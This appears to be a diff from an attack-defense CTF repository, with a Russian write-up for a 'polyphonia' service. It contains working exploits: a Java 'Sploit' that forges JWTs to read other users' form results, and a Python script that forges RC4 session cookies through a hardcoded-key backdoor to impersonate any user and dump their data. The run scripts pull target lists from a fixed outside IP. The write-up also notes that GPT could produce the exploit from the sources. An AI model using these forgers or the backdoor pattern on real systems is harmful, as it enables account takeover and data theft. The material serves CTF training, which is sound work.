StringBuilder sb = new StringBuilder("[");
boolean first = true;
for (Object item : (List<?>) value) {
if (!first) sb.append(",");
first = false;
sb.append(valueToJson(item));
}
sb.append("]");
return sb.toString();
} else {
return "\"" + jsonEscape(value.toString()) + "\"";
}
}
private Map<String, Object> parseJsonObject(String json) {
Map<String, Object> result = new HashMap<>();
json = json.trim();
if (!json.startsWith("{") || !json.endsWith("}")) {
return result;
}
json = json.substring(1, json.length() - 1).trim();
Pattern pattern = Pattern.compile("\"([^\"]+)\"\\s*:\\s*([^,}]+|\\{[^}]*\\}|\\[[^\\]]*\\]|\"[^\"]*\")");
Matcher matcher = pattern.matcher(json);
while (matcher.find()) {
String key = matcher.group(1);
String value = matcher.group(2).trim();
result.put(key, parseValue(value));
}
return result;
}
private List<Map<String, Object>> parseJsonArray(String json) {
List<Map<String, Object>> result = new ArrayList<>();
json = json.trim();
if (!json.startsWith("[") || !json.endsWith("]")) {
return result;
}
json = json.substring(1, json.length() - 1).trim();
if (json.isEmpty()) {
return result;
}
int depth = 0;
StringBuilder current = new StringBuilder();
for (char c : json.toCharArray()) {
if (c == '{') depth++;
else if (c == '}') depth--;
if (c == ',' && depth == 0) {
result.add(parseJsonObject(current.toString()));
current = new StringBuilder();
} else {
current.append(c);
}
}
if (current.length() > 0) {
result.add(parseJsonObject(current.toString()));
}
return result;
}
private List<String> parseStringArray(String json) {
List<String> result = new ArrayList<>();
json = json.trim();
if (!json.startsWith("[") || !json.endsWith("]")) {
return result;
}
json = json.substring(1, json.length() - 1).trim();
if (json.isEmpty()) {
return result;
}
int depth = 0;
boolean inString = false;
StringBuilder current = new StringBuilder();
for (int i = 0; i < json.length(); i++) {
char c = json.charAt(i);
if (c == '"' && (i == 0 || json.charAt(i - 1) != '\\')) {
inString = !inString;
}
if (!inString) {
if (c == '{' || c == '[') depth++;
else if (c == '}' || c == ']') depth--;
}
if (c == ',' && depth == 0 && !inString) {
String item = current.toString().trim();
if (item.startsWith("\"") && item.endsWith("\"")) {
item = item.substring(1, item.length() - 1);
}
result.add(item);
current = new StringBuilder();
} else {
current.append(c);
}
}
if (current.length() > 0) {
String item = current.toString().trim();
if (item.startsWith("\"") && item.endsWith("\"")) {
item = item.substring(1, item.length() - 1);
}
result.add(item);
}
return result;
}
private Object parseValue(String value) {
value = value.trim();
if (value.equals("null")) {
return null;
} else if (value.equals("true")) {
return Boolean.TRUE;
} else if (value.equals("false")) {
return Boolean.FALSE;
} else if (value.startsWith("\"") && value.endsWith("\"")) {
return value.substring(1, value.length() - 1);
} else if (value.matches("-?\\d+")) {
return Long.parseLong(value);
} else if (value.matches("-?\\d+\\.\\d+")) {
return Double.parseDouble(value);
} else {
return value;
}
}
}

View File

@@ -0,0 +1,28 @@
ifeq ($(OS),Windows_NT)
RM = del /Q
JAVAC = javac
else
RM = rm -f
JAVAC = javac
endif
.PHONY: clean compile run
clean:
ifeq ($(OS),Windows_NT)
$(RM) *.class 2>nul || exit 0
else
$(RM) *.class
endif
compile:
$(JAVAC) -encoding UTF-8 Sploit.java
run:
ifeq ($(OS),Windows_NT)
java Sploit $(ARGS)
else
bash run.sh $(ARGS)
endif
all: clean compile

View File

@@ -0,0 +1,18 @@
Зависимости: Java 11+, make
Как запустить сплоит:
в run.sh/run.bat обновить url attack_data
linux:
```
make clean
make compile
./run.sh attack_ip
```
win:
```
make clean
make compile
./run.bat attack_ip
```

View File

@@ -0,0 +1,87 @@
import java.util.Map;
import java.util.HashMap;
import java.util.List;
public class Sploit {
public static void main(String[] args) throws Exception {
String serviceUrl = "http://" + args[0] + ":5003";
ClientLib client = new ClientLib(serviceUrl);
String attackDataUrl = args[1];
String username = CheckLib.generateUsername();
String password = CheckLib.generatePassword();
Map<String, Object> registerResult = client.registerUser(username, password);
System.out.println("[+] Registration result: " + registerResult);
System.out.println("[+] User ID: " + client.getUserId());
System.out.println("[+] Username: " + client.getUsername());
System.out.println("[+] Auth Token: " + client.getAuthToken());
System.out.println("[+] Authenticated: " + client.isAuthenticated());
System.out.println("\n[*] Getting current user info...");
Map<String, Object> userInfo = client.getCurrentUser();
System.out.println("[+] User info: " + userInfo);
System.out.println("\n[*] Creating a form...");
Map<String, Object> schema = new HashMap<>();
schema.put("title", CheckLib.rndString(10));
schema.put("description", CheckLib.rndString(10));
Map<String, Object> formResult = client.createForm(schema);
System.out.println("[+] Form created: " + formResult);
String formId = (String) formResult.get("formId");
long formNumber = (long) formResult.get("formNumber");
System.out.println("\n[*] Creating a form...");
Map<String, Object> schema2 = new HashMap<>();
schema2.put("title", CheckLib.rndString(10));
schema2.put("description", CheckLib.rndString(10));
Map<String, Object> formResult2 = client.createForm(schema2);
System.out.println("[+] Form created: " + formResult2);
String formId2 = (String) formResult2.get("formId");
System.out.println("[+] Form ID: " + formId);
System.out.println("[+] Form 1: " + formId);
System.out.println("[+] Form 2: " + formId2);
System.out.println("[+] User ID: " + userInfo.get("userId"));
System.out.println("[+] Username: " + username);
System.out.println("[+] Auth Token: " + client.getAuthToken());
System.out.println("[+] User ID: " + userInfo.get("userId"));
List<Map<String, Object>> myForms1 = client.getMyForms();
System.out.println("[+] My forms: " + myForms1);
System.out.println("\n[*] Fetching attack data for host: " + args[0]);
List<Map<String, String>> targetUsers = AttackData.getAllUsers(args[0], attackDataUrl);
System.out.println("[+] Target users: " + targetUsers);
long userId = ((Number) userInfo.get("userId")).longValue();
System.out.println("[+] Current User ID: " + userId);
Map<String, String>[] jwtsWithUsers = ChainPoC_HexIDs.exploit(formNumber, userId, client.getAuthToken(), targetUsers, formId, formId2);
System.out.println("[+] Generated " + jwtsWithUsers.length + " JWTs");
for (Map<String, String> jwtData : jwtsWithUsers) {
String jwt = jwtData.get("jwt");
String targetUsername = jwtData.get("username");
String targetUserId = jwtData.get("userId");
client.setSessionCookies(targetUserId, targetUsername, jwt);
System.out.println("\n[+] Testing as user: " + targetUsername + " (ID: " + targetUserId + ")");
System.out.println("[+] Check auth: " + client.isAuthenticated());
List<Map<String, Object>> myForms = client.getMyForms();
for (Map<String, Object> form : myForms) {
System.out.println("[+] Form results: " + client.getFormResults(form.get("formId").toString()));
}
}
}
}

View File

@@ -0,0 +1,5 @@
@echo off
set attackDataUrl=http://185.56.162.110/api/client/attack_data/
java Sploit %1 %attackDataUrl%

View File

@@ -0,0 +1,5 @@
#!/bin/bash
attackDataUrl="http://185.56.162.110/api/client/attack_data/"
java Sploit $1 $attackDataUrl

View File

@@ -0,0 +1,177 @@
# writeup | polyphonia
Уязвимость здесь находится в функции `authenticate_cookie` (см. `sources/polyphonia/polyphonia_server_src/src/polyphonia_pg.c`):
```c
int authenticate_cookie(const char *cookie_hex, char *out_username, size_t username_len, int *out_user_id)
{
if (!cookie_hex)
return 0;
if (out_username && username_len > 0)
out_username[0] = '\0';
if (out_user_id)
*out_user_id = -1;
char username_buf[64];
int user_id = db_get_session_user(cookie_hex, username_buf);
if (user_id > 0)
{
if (out_user_id)
*out_user_id = user_id;
if (out_username && username_len > 0)
{
strncpy(out_username, username_buf, username_len - 1);
out_username[username_len - 1] = '\0';
}
return 1;
}
unsigned char session_bytes[SESSION_ID_LEN];
if (!hex_to_bytes(cookie_hex, session_bytes, SESSION_ID_LEN))
return 0;
unsigned char decrypted[SESSION_ID_LEN];
unsigned char keybuf[22];
derive_rc4_key(keybuf, sizeof(keybuf));
rc4_apply(keybuf, sizeof(keybuf), session_bytes, decrypted, SESSION_ID_LEN);
char username[65];
size_t name_len = 0;
while (name_len < sizeof(username) - 1 && name_len < SESSION_ID_LEN && decrypted[name_len] != '\0')
{
username[name_len] = (char)decrypted[name_len];
name_len++;
}
username[name_len] = '\0';
if (name_len == 0)
return 0;
user_id = db_get_user_by_username(username, username_buf);
if (user_id <= 0)
return 0;
if (out_user_id)
*out_user_id = user_id;
if (out_username && username_len > 0)
{
strncpy(out_username, username_buf, username_len - 1);
out_username[username_len - 1] = '\0';
}
return 2;
}
```
Как видим, сначала идёт "правильный" способ проверки юзера по сессионной куке, через `db_get_session_user`, а затем с помощью RC4, если юзер не нашёлся, кука проверяется "неправильным" способом - расшифровывается по статическому ключу. И из неё получаем `username` (`db_get_user_by_username`).
Ключ всегда одинаков:
```c
unsigned char keybuf[22];
derive_rc4_key(keybuf, sizeof(keybuf));
```
Соответственно можем сделать подходящую куку на любого юзера:
```python
def forge_cookie(username: str) -> str:
encoded = username.encode("utf-8")
if len(encoded) > SESSION_LEN:
raise ValueError("username too long for forged session payload")
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
key = derive_rc4_key(22)
ciphertext = rc4(key, padded)
return ciphertext.hex()
```
Собственно ключ создаётся с помощью LCG:
```python
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
def derive_rc4_key(length: int = 22) -> bytes:
state = 0
out = bytearray()
while len(out) < length:
state = (214013 * state + 2531011) & 0x7fffffff
r = (state >> 16) & 0xFFFF
hi = (r >> 8) & 0xFF
lo = r & 0xFF
if len(out) < length:
out.append(hi)
if len(out) < length:
out.append(lo)
return bytes(out)
```
```python
>>> derive_rc4_key(22).hex()
'00261e2752f6098522972e1520ad7e1d28d2779416dd'
```
Но это не обязательно знать, можно просто выдернуть его один раз, т.к. он не меняется.
Всё вышеописанное никак не тянет на hard таск. Действительно, если бы были даны исходники, достаточно кинуть их в GPT и получить сплоит. Но есть очень важная деталь: hard-ом этот сервис становится, когда сурцов не даём, а даём ОБФУСЦИРОВАННЫЙ (!) бинарник.
Для обфускации использовался LLVM pass, который оборачивает все функции в виртуальную машину (транслирует LLVM IR в опкоды своей внутренней машины). См. код обфускатора: `sources/polyphonia/obfuscator_src`
Бинарник, выданный участникам, не strip-нут, что облегчает решение. Он расположен тут: `services/polyphonia/dist/polyphonia-server-binary`. Остаётся написать дизассемблер опкодов VM и понять логику работы сервера.
Смотрим логику работы VM-ки. Главный цикл исполнения (dispatch опкодов) находится в функции `vm_execute_internal` (`sources/polyphonia/obfuscator_src/src/runtime/vm_runtime.c`).
Ещё один нюанс работы VM заключается в постоянном шифровании/расшифровке. Например `vm_decrypt_imm`, здесь расшифровываем value:
```c
case OP_PUSH_IMM: {
int32_t cipher = (int32_t)vm_fetch32(&vm);
int32_t value = vm_decrypt_imm(&vm, cipher);
vm_push(&vm, (int64_t)value);
#if VM_ENABLE_TRACE
if (vm.debug)
printf("PUSH_IMM %d (SP now %d)\n", value, vm.sp);
#endif
break;
}
```
В то же время в `vm_push`, напротив, идёт зашифровывание значения обратно, то есть на стеке VM значения лежат в зашифрованном виде:
```c
static inline void vm_push(VMState *vm, int64_t plain)
{
vm->stack[vm->sp++] = vm_encrypt_value(vm, plain);
}
```
Перед dispatch-ем инструкция fetch-ится с помощью `vm_fetch8`, расшифровка - `ct ^ k`, `k` - это так называемый rolling key, т.е. ключ ещё и не статический, а меняется по ходу работы программы:
```c
static inline uint8_t vm_fetch8(VMState *vm)
{
uint8_t ct = vm->bytecode[vm->pc];
if (!vm->code_encrypted)
{
vm->pc++;
return ct;
}
if (vm->code_off != vm->pc)
vm_code_stream_reset(vm, vm->pc);
if (vm->code_bpos >= 8)
{
vm->code_cur_ks = vm_stream_next(&vm->code_cur_state);
vm->code_bpos = 0;
}
uint8_t k = (uint8_t)(vm->code_cur_ks & 0xFF);
vm->code_cur_ks >>= 8;
vm->code_bpos++;
vm->code_off++;
vm->pc++;
return (uint8_t)(ct ^ k);
}
```
Меняется он при помощи xorshift64:
```c
// xorshift64* keystream for blob encryption/decryption (simple stream)
static inline uint64_t vm_stream_next(uint64_t *s)
{
uint64_t x = *s;
x ^= x >> 12;
x ^= x << 25;
x ^= x >> 27;
*s = x;
return x * 2685821657736338717ULL;
}
```
Дальше дампим байткод VM из бинаря и засовываем его в дизассемблер, который расшифрует опкоды. Далее, внимательно читая ассемблерный листинг функций (или опять же воспользовавшись GPT), можно найти уязвимую функцию.

View File

@@ -0,0 +1,131 @@
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib import error, request
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
def derive_rc4_key(length: int = 22) -> bytes:
state = 0
out = bytearray()
while len(out) < length:
state = (214013 * state + 2531011) & 0x7fffffff
r = (state >> 16) & 0xFFFF
hi = (r >> 8) & 0xFF
lo = r & 0xFF
if len(out) < length:
out.append(hi)
if len(out) < length:
out.append(lo)
return bytes(out)
SESSION_LEN = 64
def rc4(key: bytes, data: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = 0
j = 0
out = bytearray(len(data))
for idx, byte in enumerate(data):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 0xFF]
out[idx] = byte ^ k
return bytes(out)
def forge_cookie(username: str) -> str:
encoded = username.encode("utf-8")
if len(encoded) > SESSION_LEN:
raise ValueError("username too long for forged session payload")
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
key = derive_rc4_key(22)
ciphertext = rc4(key, padded)
return ciphertext.hex()
def query_user(base_url: str, cookie_value: str) -> None:
url = base_url.rstrip("/") + "/api/user"
req = request.Request(url)
req.add_header("Cookie", f"session={cookie_value}")
with request.urlopen(req) as resp:
body = resp.read().decode("utf-8", errors="replace")
print(f"[+] HTTP {resp.status}")
print(body)
def query_melodies(base_url: str, cookie_value: str) -> None:
url = base_url.rstrip("/") + "/api/melodies"
req = request.Request(url)
req.add_header("Cookie", f"session={cookie_value}")
with request.urlopen(req) as resp:
raw = resp.read().decode("utf-8", errors="replace")
try:
data = json.loads(raw)
except json.JSONDecodeError:
print("[-] Failed to parse melodies JSON; raw response:")
print(raw)
return
items = data.get("melodies")
if not isinstance(items, list):
print("[-] Unexpected melodies schema; raw response:")
print(raw)
return
if not items:
print("[+] No melodies found")
return
print("[+] Melodies:")
for m in items:
if not isinstance(m, dict):
continue
name = m.get("name")
desc = m.get("description")
if not isinstance(name, str):
name = str(name)
if not isinstance(desc, str):
desc = ""
print(f"- {name}: {desc}")
def main() -> int:
parser = argparse.ArgumentParser(description="Forge Polyphonia session cookie via RC4 backdoor")
parser.add_argument("--base-url", default="http://localhost:22025", help="Server base URL")
parser.add_argument("--username", default="admin123", help="Username to impersonate")
parser.add_argument("--no-request", action="store_true", help="Only print the forged cookie")
args = parser.parse_args()
try:
cookie_value = forge_cookie(args.username)
except ValueError as exc:
print(f"[-] {exc}")
return 1
print(f"[+] Forged cookie for {args.username}: {cookie_value}")
if args.no_request:
return 0
try:
query_user(args.base_url, cookie_value)
# Then dump melodies for this session
query_melodies(args.base_url, cookie_value)
except error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
print(f"[-] Server returned HTTP {exc.code}: {body}")
return 1
except error.URLError as exc:
print(f"[-] Failed to contact {args.base_url}: {exc}")
return 1
return 0
if __name__ == "__main__":
sys.exit(main())